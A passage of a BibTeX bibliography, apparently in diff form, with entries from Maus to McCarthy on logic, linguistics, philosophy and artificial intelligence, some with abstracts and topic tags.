semantics of + streams and stream matching as discussed in [12]. Streams are data + structures such as lists, but with different primitive operations. + Streams not only provide an interface to usual input/output + channels, but may used [sic] as a data structure per se, holding any + kind of element. A special pattern matching construct is dedicated + to streams and the actual matching process will be called parsing. + The primary parsing semantics that we propose here is predictive + parsing, i.e. recursive descent semantics with a one token look- + ahead: although this choice seems to restrict us to the recognition + of LL(1) languages, we show by examples that full functionality and + parameter passing allow us to write parsers for complex languages. + The operational semantics of parsers is given by transforming + parsers into regular functions. We introduce a non-strict semantics + of streams by translating stream expressions into more classical + data structures; we also investigate different sharing mechanisms + for some of the stream operations.}, + topic = {parsing-algorithms;} + } + +@incollection{ maus:2001a, + author = {Heiko Maus}, + title = {Workflow Context as a Means for Intelligent Information + Support}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {261--274}, + address = {Berlin}, + topic = {context;HCI;} + } + +@article{ mavrodes:1966a, + author = {George Mavrodes}, + title = {Kant's Objection to the Ontological Argument}, + journal = {The Journal of Philosophy}, + year = {1966}, + volume = {63}, + number = {19}, + pages = {537--550}, + topic = {ontological-argument;Kant;} + } + +@article{ maximova:2002a, + author = {Larisa Maximova}, + title = {Complexity of Interpolation and Related Problems in + Positive Calculi}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {1}, + pages = {397--408}, + topic = {complexity-theory;interpolation-theorems;} + } + +@article{ maxwell:2000a, + author = {Michael Maxwell}, + title = {Review of {\it A Grammar Writer's Cookbook}, by {M}irian + {B}utt and {T}racy {H}olloway {K}ing and {M}ar\'ia-{E}ugenia + {N}i\~no amd {F}r\'ed\'erique {S}egond}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {260--264}, + xref = {Review of: butt-etal:1999a.}, + topic = {grammatical-writing;} + } + +@incollection{ maxwell_jt-kaplan_rm:1981a, + author = {John T. {Maxwell III} and Ronald M. Kaplan}, + title = {A Method for Disjunctive Constraint Satisfaction}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {173--190}, + address = {Dordrecht}, + topic = {parsing-algorithms;constraint-satisfaction;} + } + +@techreport{ maxwell_jt-kaplan_rm:1990a, + author = {John T. {Maxwell III} and Ronald M. Kaplan}, + title = {A Method for Disjunctive Constraint Satisfaction}, + number = {ISTL--92--2}, + year = {1992}, + address = {Palo Alto, California}, + institution = {Xerox Palo Alto Research Center}, + topic = {constraint-satisfaction;} + } + +@article{ maxwell_pc:1974a, + author = {P.C. Maxwell}, + title = {Alternative Descriptions in Line Drawing Analysis}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {4}, + pages = {325--348}, + acontentnote = {Abstract: + The paper presents an approach to the formation of structural + descriptions of idealized line drawings of geometrical shapes. + Emphasis is placed on the generation of alternative descriptions + of the drawings, the order in which the alternatives appear + being in approximate correspondence with the relative ease of + human perception of the particular articulation. Precise + definitions of the objects and relations used are given and + details are presented of a program which successfully describes + drawings according to the required criteria. The method employed + is to classify the intersections of drawings into various types + and to postulate various possible configurations of objects and + relations which could exist at each intersection, the + descriptive procedure being to verify these hypotheses. + Alternative descriptions are then generated by considering + different combinations of the possible configurations. } , + topic = {line-drawings;geometrical-reasoning;} + } + +@book{ may:1983a1, + author = {Robert May}, + title = {Logical Form as a Level of Linguistic Representation}, + publisher = {Indiana University Linguistics Club}, + year = {1983}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Republications: may_r:1983a2,may_r:1983a3.}, + topic = {LF;syntax-semantics-interface;} + } + +@phdthesis{ may_r:1977a1, + author = {Robert May}, + title = {The Grammar of Quantification}, + school = {Linguistics Department, Massachusetts Institute of + Technology}, + year = {1977}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + xref = {Republication: may_r:1977a2.}, + topic = {nl-semantics;nl-quantification;LF;} + } + +@book{ may_r:1977a2, + author = {Robert May}, + title = {The Grammar of Quantification}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Republication of: may_r:1977a1.}, + topic = {nl-semantics;nl-quantification;LF;} + } + +@incollection{ may_r:1983a2, + author = {Robert May}, + title = {Logical Form as a Level of Linguistic Representation}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {305--336}, + address = {London}, + xref = {Republication of: may_r:1983a1.}, + topic = {LF;syntax-semantics-interface;} + } + +@incollection{ may_r:1983a3, + author = {Robert May}, + title = {Logical Form as a Level of Linguistic + Representation}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {281--315}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: may_r:1983a1.}, + topic = {LF;syntax-semantics-interface;} + } + +@book{ may_r:1985a, + author = {Robert May}, + title = {Logical Form: Its Structure and Derivation}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massacusetts}, + topic = {LF;syntax-semantics-interface;} + } + +@incollection{ may_r:1988a, + author = {Robert May}, + title = {Bound Variable Anaphora}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {85--104}, + address = {Cambridge, England}, + topic = {nl-semantics;anaphora;} + } + +@article{ may_r:1989a, + author = {Robert May}, + title = {Interpreting Logical Form}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {4}, + pages = {387--435}, + topic = {LF;nl-semantics;nl-quantifier-scope;nl-quantifiers;} + } + +@article{ may_r:1989b, + author = {Robert May}, + title = {Preface}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {4}, + pages = {383--385}, + contentnote = {This is the preface to a special issue on + logical form and semantic interpretation.}, + topic = {LF;nl-semantics;} + } + +@article{ may_s:1976a, + author = {Sherry May}, + title = {Probability Kinematics: A Constrained Optimization + Problem}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {395--398}, + topic = {probability-kinematics;} + } + +@inproceedings{ maybury_mt:1990a, + author = {Mark T. Maybury}, + title = {Using Discourse Focus, Temporal Focus, and Spatial Focus + to Plan Narrative Text}, + booktitle = {Fifth International Workshop on Natural Language + Generation, Pittsburgh, Pennsylvania}, + year = {1990}, + pages = {70--78}, + topic = {nl-generation;discourse-planning;pragmatics;} +} + +@article{ maybury_mt:1991a, + author = {Mark T. Maybury}, + title = {Topical, Temporal and Spatial Constraints on Linguistic + Realization}, + journal = {Computational Intelligence}, + year = {1991}, + volume = {7}, + pages = {266--275}, + topic = {temporal-reasoning;} + } + +@book{ maybury_mt:1993a, + editor = {Mark T. Maybury.}, + title = {Intelligent Multimedia Interfaces}, + publisher = {AAAI Press}, + year = {1993}, + address = {Menlo Park, California}, + ISBN = {0262631504}, + topic = {HCI;multimedia-interpretation;multimedia-generation;} + } + +@article{ maydole:1975a, + author = {Robert Maydole}, + title = {Paradoxes and Many-Valued Set Theory}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {3}, + pages = {269--291}, + topic = {foundations-of-set-theory;multi-valued-logic;Russell-paradox;} + } + +@article{ mayer_jc:1981a, + author = {John C. Mayer}, + title = {A Misplaced Thesis of Conditional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {235--238}, + contentnote = {This has to do with the problem of disjunctive + antecedents.}, + topic = {conditionals;} + } + +@article{ mayhew-frisby:1981a, + author = {John E.W. Mayhew and John P. Frisby}, + title = {Psychophysical and Computational Studies towards a Theory + of Human Stereopsis}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {349--385}, + topic = {vision;} + } + +@inproceedings{ maynardreid-lehmann:2000a, + author = {Pedrito {Maynard-Reid III} and Daniel Lehmann}, + title = {Representing and Aggregating Conflicting Beliefs}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {153--164}, + topic = {knowledge-integration;epistemic-conflict;} + } + +@article{ maynardreid-shoham_y1:2000a, + author = {Pedrito {Maynard-Reid II} and Yoav Shoham}, + title = {Belief Fusion: Aggregating Pedigreed Belief States}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {183--209}, + topic = {belief-revision;} + } + +@article{ mayo_b:1963a, + author = {Bernard Mayo}, + title = {A Note on {A}ustin's Performative Theory of Knowledge}, + journal = {Philosophical Studies}, + year = {1963}, + volume = {14}, + pages = {28--31}, + missinginfo = {number}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@article{ mayo_b:1963b, + author = {Bernard Mayo}, + title = {Review of {\it How to Do Things With Words}, by {J}.{L}. + {A}ustin}, + journal = {Philosophical Books}, + year = {1963}, + volume = {3}, + pages = {4--6}, + missinginfo = {number}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@book{ mayo_d-hollander_r:1991a, + editor = {Deborah G. Mayo and Rachelle D. Hollander}, + title = {Acceptable Evidence: Science and Values in Risk + Management}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + topic = {risk-management;} + } + +@incollection{ mayo_d:2000a, + author = {Deborah G. Mayo}, + title = {Experimental Practice and an Error Statistical Account + of Evidence}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S193--S207}, + address = {Newark, Delaware}, + topic = {philosophy-of-science;evidence;} + } + +@article{ mays-etal:1991a, + author = {Eric Mays and Robert Dionne and Robert Weida}, + title = {K-Rep System Overview}, + journal = {{SIGART} Bulletin}, + year = {1991}, + volume = {2}, + number = {3}, + topic = {kr;kr-systems;} + } + +@inproceedings{ mazer:1990a, + author = {M.S. Mazer}, + title = {A Link Between Knowledge and Communication in Faulty + Distributed Systems}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {289--304}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {distributed-systems;epistemic-logic;} + } + +@article{ mazlack:1976a, + author = {Lawrence J. Mazlack}, + title = {Computer Construction of Crossword Puzzles Using + Precedence Relationships}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {1}, + pages = {1--19}, + topic = {constraint-satisfaction;crossword-puzzles;} + } + +@article{ mcallester:1988a, + author = {David Allen McAllester}, + title = {Conspiracy Numbers for Min-Max Search}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {3}, + pages = {287--310}, + topic = {search;conspiracy-number-search;} + } + +@inproceedings{ mcallester:1990a, + author = {David McAllester}, + title = {Truth Maintenance}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Reid Smith and Tom Mitchell}, + volume = {2}, + pages = {1109--1116}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editor}, + topic = {truth-maintenance;} + } + +@inproceedings{ mcallester-rosenblitt:1991a, + author = {David Mc{A}llester and David Rosenblitt}, + title = {Systematic Nonlinear Planning}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {634--539}, + organization = {American Association for Artificial Intelligence}, + publisher = {MIT Press}, + address = {Cambridge, Massachusetts}, + topic = {nonklinear-planning;} + } + +@article{ mcallester-givan:1992a, + author = {David A. McAllester and Robert Givan}, + title = {Natural Language Syntax and First-Order Inference}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {1}, + pages = {1--20}, + acontentnote = {Abstract: + We have argued elsewhere that first-order inference can be made + more efficient by using nonstandard syntax for first-order + logic. In this paper we define a syntax for first-order logic + based on the structure of natural language under Montague + semantics. We show that, for a certain fairly expressive + fragment of this language, satisfiability is polynomial time + decidable. The polynomial time decision procedure can be used as + a subroutine in general purpose inference systems and seems to + be more powerful than analogous procedures based on either + classical or taxonomic syntax. + } , + topic = {model-construction;polynomial-algorithms; + subtheories-of-FOL;} + } + +@incollection{ mcallister-etal:1989a, + author = {David Mcallister and Bob Givan and Tanveer Fatima}, + title = {Taxonomic Syntax for First Order Inference}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {289--300}, + address = {San Mateo, California}, + contentnote = {Argues that building taxonomy into FOL makes for + more efficient theorem-proving.}, + topic = {kr;taxonomic-reasoning;theorem-proving;kr-course;} + } + +@article{ mcarthur_rp:1974a, + author = {Robert P. McArthur}, + title = {Factuality and Modality in the Future Tense}, + journal = {Nous}, + year = {1974}, + volume = {8}, + pages = {283--288}, + topic = {future-contingent-propositions;} + } + +@book{ mcarthur_rp:1991a, + author = {Robert P. McArthur}, + title = {From Logic to Computing}, + publisher = {Wadsworth Publishing Co.}, + year = {1991}, + address = {Belmont, California}, + ISBN = {0534133207}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@book{ mcarthur_t:1986a, + author = {Tom McArthur}, + title = {Worlds of Reference: Lexicography, Learning, and Language from + the Clay Tablet to the Computer}, + publisher = {Cambridge University Press}, + year = {1986}, + address = {Cambridge, England}, + ISBN = {052130637X}, + topic = {lexicography;} + } + +@book{ mcarthur_t:1998a, + author = {Tom McArthur}, + title = {Living Words: Language, Lexicography, and the Knowledge + Revolution}, + publisher = {University of Exeter Press}, + year = {1998}, + address = {Exeter}, + ISBN = {0859896110}, + topic = {lexicography;} + } + +@article{ mcburney-parsons:2002a, + author = {Peter McBurney and Simon Parsons}, + title = {Games that Agents Play: A Formal Framework for Dialogues + between Autonomous Agents}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {3}, + pages = {315--334}, + topic = {game-theory;dialogue-logic;} + } + +@book{ mccabe:1992a, + author = {Francis G. McCabe}, + title = {Logic and Objects}, + publisher = {Prentice Hall International}, + year = {1992}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {013536079X}, + topic = {logic-in-cs;logic-in-cs-intro;logic-programming;} + } + +@incollection{ mccafferty:1990a, + author = {Andrew S. McCafferty}, + title = {Speaker Plans, Linguistic Contexts, and Indirect + Speech Acts}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {191--220}, + address = {Dordrecht}, + topic = {discourse;implicature;pragmatics;} + } + +@article{ mccaffery:1999a, + author = {Stephen J. McCaffery}, + title = {Compositional Names}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {4}, + pages = {423--445}, + contentnote = {This is actually about complex proper names, + e.g. calendar dates.}, + topic = {compound-nouns;} + } + +@inproceedings{ mccain-turner_h:1995a, + author = {Norman McCain and Hudson Turner}, + title = {A Causal Theory of Ramifications and Qualifications}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1978--1984}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {temporal-reasoning;planning-formalisms;qualification-problem; + ramification-problem;} + } + +@inproceedings{ mccain-turner_h:1997a, + author = {Norman McCain and Hudson Turner}, + title = {Causal Theories of Action and Change}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1997}, + editor = {Howard Shrobe and Ted Senator}, + pages = {460--465}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {causality;action-formalisms;} + } + +@incollection{ mccain-turner_h:1998a, + author = {Norman McCain and Hudson Turner}, + title = {Satisfiability Planning with Causal Theories}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {212--223}, + address = {San Francisco, California}, + topic = {kr;planning;action-formalisms;causality;kr-course;} + } + +@inproceedings{ mccain:1999a, + author = {Norman Mccain}, + title = {Causal Calculator}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {planning-algorithms;model-construction;} + } + +@article{ mccall:1999a, + author = {Storrs McCall}, + title = {Can a {T}uring Machine Know that the {G}\"odel Sentence + Is True?}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {96}, + number = {10}, + pages = {525--532}, + xref = {Commentary: } , + topic = {philosophy-of-computation;goedels-first-theorem;} + } + +@article{ mccall:2001a, + author = {Storrs McCall}, + title = {Axiomatic Quantum Theory}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {5}, + pages = {465--477}, + topic = {foundations-of-quantum-mechanics;formalizations-of-physics;} + } + +@techreport{ mccalla-etal:1978a, + author = {Gordon McCalla and P. Schneider and R. Cohen and H. Levesque}, + title = {Investigations into Planning and Executing in an Independent + and Continuously Changing Microworld}, + number = {78--2}, + institution = {Department of Computer Science, University of Toronto}, + address = {Toronto, Ontario, CANADA M5S 1A7}, + year = {1978}, + topic = {cognitive-robotics;} + } + +@incollection{ mccalla-etal:1992a, + author = {Gordon McCalla and Jim Greer and Bryce Barrie and Paul + Pospisel}, + title = {Granularity Hierarchies}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {363--375}, + address = {Oxford}, + topic = {kr;semantic-networks;kr-course;granularity;context;} + } + +@incollection{ mccann:1986a, + author = {Hugh J. McCann}, + title = {Rationality and the Range of Intention}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {191--211}, + address = {Minneapolis}, + topic = {intention;action;rationality;} + } + +@book{ mccann:1998a, + author = {Hugh J. McCann}, + title = {The Works of Agency: On Human Action, Will, + and Freedom}, + publisher = {Cornell University Press}, + year = {1998}, + address = {Ithaca, New York}, + xref = {Review: ginet:2000a.}, + topic = {action;freedom;volition;} + } + +@incollection{ mccarthy_d:1997a, + author = {Diana McCarthy}, + title = {Word Sense Disambiguation for Acquisitiomn + of Selectional Preferences}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {52--60}, + address = {New Brunswick, New Jersey}, + topic = {word-sense;disambiguation;} + } + +@article{ mccarthy_d:1998a, + author = {Diana Mccarthy}, + title = {Review of {\em The Balancing Act}, + by {J}udith {K}lavans and {P}hilip {R}esnik}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {223--227}, + topic = {corpus-linguistics;corpus-statistics;statistical-nlp;} + } + +@inproceedings{ mccarthy_j1:1959a1, + author = {John McCarthy}, + title = {Programs with Common Sense}, + booktitle = {Proceedings of the {T}eddington Conference on the + Mechanization of Thought Processes}, + year = {1959}, + publisher = {Her Majesty's Stationary Office}, + address = {London}, + pages = {75--91}, + missinginfo = {Editor}, + xref = {Republished: mccarthy_j1:1959a2, mccarthy_j1:1959a3.}, + topic = {common-sense-logicism;AI-classics;} + } + +@incollection{ mccarthy_j1:1959a2, + author = {John McCarthy}, + title = {Programs With Common Sense}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1985}, + editor = {Ronald Brachman J. and Hector J. Levesque}, + pages = {300--307}, + address = {Los Altos, California}, + note = {Originally published 1959.}, + xref = {Republication of mccarthy_j1:1959a1.}, + topic = {common-sense-logicism;AI-classics;} + } + +@incollection{ mccarthy_j1:1959a3, + author = {John McCarthy}, + title = {Programs With Common Sense}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {9--20}, + address = {Norwood, New Jersey}, + xref = {Republication of mccarthy_j1:1959a1.}, + topic = {common-sense-logicism;AI-classics;} + } + +@incollection{ mccarthy_j1-hayes_pj1:1969a1, + author = {John McCarthy and Patrick J. Hayes}, + title = {Some Philosophical Problems from the Standpoint of + Artificial Intelligence}, + editor = {Bernard Meltzer and Donald Michie}, + booktitle = {Machine Intelligence 4}, + publisher = {Edinburgh University Press}, + address = {Edinburgh}, + pages = {463--502}, + year = {1969}, + xref = {Republications: mccarthy_j1-hayes_pj1:1969a2, + mccarthy_j1-hayes_pj1:1969a3,mccarthy_j1-hayes_pj1:1969a4.}, + topic = {kr;art-of-formalization;kr-course;} +} + +@incollection{ mccarthy_j1-hayes_pj1:1969a2, + author = {John McCarthy and Patrick Hayes}, + title = {Some Philosophical Problems + from the Stanpoint of Artificial Intelligence}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {431--450}, + address = {Los Altos, California}, + xref = {Republication of mccarthy_j1-hayes_pj1:1969a1.}, + topic = {kr;art-of-formalization;kr-course;} + } + +@incollection{ mccarthy_j1-hayes_pj1:1969a3, + author = {John McCarthy and Patrick J. Hayes}, + title = {Some Philosophical Problems from the Standpoint of Artificial + Intelligence}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {26--45}, + address = {Los Altos, California}, + xref = {Republication of mccarthy_j1-hayes_pj1:1969a1.}, + topic = {kr;art-of-formalization;kr-course;} + } + +@incollection{ mccarthy_j1-hayes_pj1:1969a4, + author = {John McCarthy and Patrick J. Hayes}, + title = {Some Philosophical Problems From the Standpoint of + Artificial Intelligence}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {21--63}, + address = {Norwood, New Jersey}, + xref = {Republication of mccarthy_j1-hayes_pj1:1969a1.}, + topic = {kr;art-of-formalization;kr-course;} + } + +@article{ mccarthy_j1:1974a1, + author = {John McCarthy}, + title = {Review of {\it Artificial Intelligence: A General Survey}, by + {J}ames {L}ighthill}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {3}, + pages = {317--322}, + contentnote = {This is a useful brief appreciation of what had been + accomplished in AI up to 1974.}, + xref = {Republication: mccarthy_j1:1974a2}, + topic = {AI-survey;} + } + +@incollection{ mccarthy_j1:1974a2, + author = {John McCarthy}, + title = {Review of {\it Artificial Intelligence: A General Survey}, by + {J}ames {L}ighthill}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {64--69}, + address = {Norwood, New Jersey}, + contentnote = {This is a useful brief appreciation of what had been + accomplished in AI up to 1974.}, + xref = {Republication of: mccarthy_j1:1974a1}, + topic = {AI-survey;} + } + +@inproceedings{ mccarthy_j1:1977a1, + author = {John McCarthy}, + title = {Epistemological Problems of Artificial Intelligence}, + booktitle = {Proceedings of the Fifth International Joint + Conference on Artificial Intelligence}, + year = {1977}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {1038--1044}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + xref = {Republications: mccarthy_j1:1977a2,mccarthy_j1:1977a3, + mccarthy_j1:1977a4,mccarthy_j1:1977a5.}, + address = {Los Altos, California}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ mccarthy_j1:1977a2, + author = {John McCarthy}, + title = {Epistemological Problems of Artificial + Intelligence}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {459--472}, + address = {Los Altos, California}, + xref = {First Published in IJCAI-77; 1977; 1038--1044; see + mccarthy_j1:1977a1}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ mccarthy_j1:1977a3, + author = {John McCarthy}, + title = {Epistemological Problems of Artificial Intelligence}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {23--30}, + xref = {First Published in IJCAI-77; 1977; 1038--1044; see + mccarthy_j1:1977a1}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ mccarthy_j1:1977a4, + author = {John McCarthy}, + title = {Epistemological Problems of Artificial Intelligence}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {77--92}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1977a1.}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ mccarthy_j1:1977a5, + author = {John McCarthy}, + title = {Epistemological Problems of Artificial + Intelligence}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {46--55}, + address = {Los Altos, California}, + xref = {First Published in IJCAI-77; 1977; 1038--1044; see + mccarthy_j1:1977a1}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ mccarthy_j1:1979a1, + author = {John McCarthy}, + title = {Ascribing Mental Qualities to Machines}, + booktitle = {Philosophical Perspectives in Artificial Intelligence}, + publisher = {Humanities Press}, + year = {1979}, + editor = {Martin Ringle}, + pages = {161--195}, + address = {Atlantic Highlands, New Jersey}, + xref = {Republication: mccarthy_j1:1979a2.}, + topic = {philosophy-of-mind;philosophy-AI;} + } + +@incollection{ mccarthy_j1:1979a2, + author = {John McCarthy}, + title = {Ascribing Mental Qualities to Machines}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {93--118}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1979a1}, + topic = {philosophy-AI;philosophy-of-mind;} + } + +@incollection{ mccarthy_j1:1979c1, + author = {John McCarthy}, + title = {First Order Theories of Individual Concepts and + Propositions}, + booktitle = {Machine Intelligence 9}, + publisher = {Ellis Horwood}, + year = {1979}, + editor = {J.E. Hayes and D. Mitchie and L.I. Mikulich}, + pages = {129--148}, + address = {Chichester, England}, + xref = {Republication: mccarthy_j1:1979c2}, + topic = {propositional-attitudes;} + } + +@incollection{ mccarthy_j1:1979c2, + author = {John McCarthy}, + title = {First Order Theories of Individual Concepts and + Propositions}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {119--141}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1979c1.}, + topic = {propositional-attitudes;} + } + +@techreport{ mccarthy_j1-etal:1979b, + author = {John McCarthy and M. Sato and T. Hayashi and S. Igarishi}, + title = {On the Model Theory of Knowledge}, + institution = {Computer Science Department, Stanford University}, + number = {STAN--CS--78--657}, + year = {1979}, + address = {Stanford, California}, + topic = {epistemic-logic;} + } + +@article{ mccarthy_j1:1980a1, + author = {John McCarthy}, + title = {Circumscription---A Form of Non-Monotonic Reasoning}, + journal = {Artificial Intelligence}, + volume = {13}, + number = {1--2}, + pages = {27--39}, + year = {1980}, + xref = {Republication: mccarthy_j1:1980a2.}, + topic = {kr;circumscription;nonmonotonic-logic;kr-course;} + } + +@incollection{ mccarthy_j1:1980a2, + author = {John McCarthy}, + title = {Circumscription---A Form of Nonmonotonic Reasoning}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {142--157}, + address = {Norwood, New Jersey}, + xref = {Republication of: mccarthy_j1:1980a1.}, + topic = {kr;circumscription;nonmonotonic-logic;kr-course;} + } + +@incollection{ mccarthy_j1:1982a1, + author = {John McCarthy}, + title = {The Common Business Communication Language}, + booktitle = {Textverarbeitung und {B}\"urosysteme}, + publisher = {R. Oldenbourg Verlag}, + year = {1982}, + editor = {A. Endres and J. Reetz}, + pages = {71--74}, + address = {Munich and Vienna}, + xref = {Republication: mccarthy_j1:1982a2.}, + topic = {artificial-communication;} + } + +@incollection{ mccarthy_j1:1982a2, + author = {John McCarthy}, + title = {The Common Business Communication Language}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {175--186}, + address = 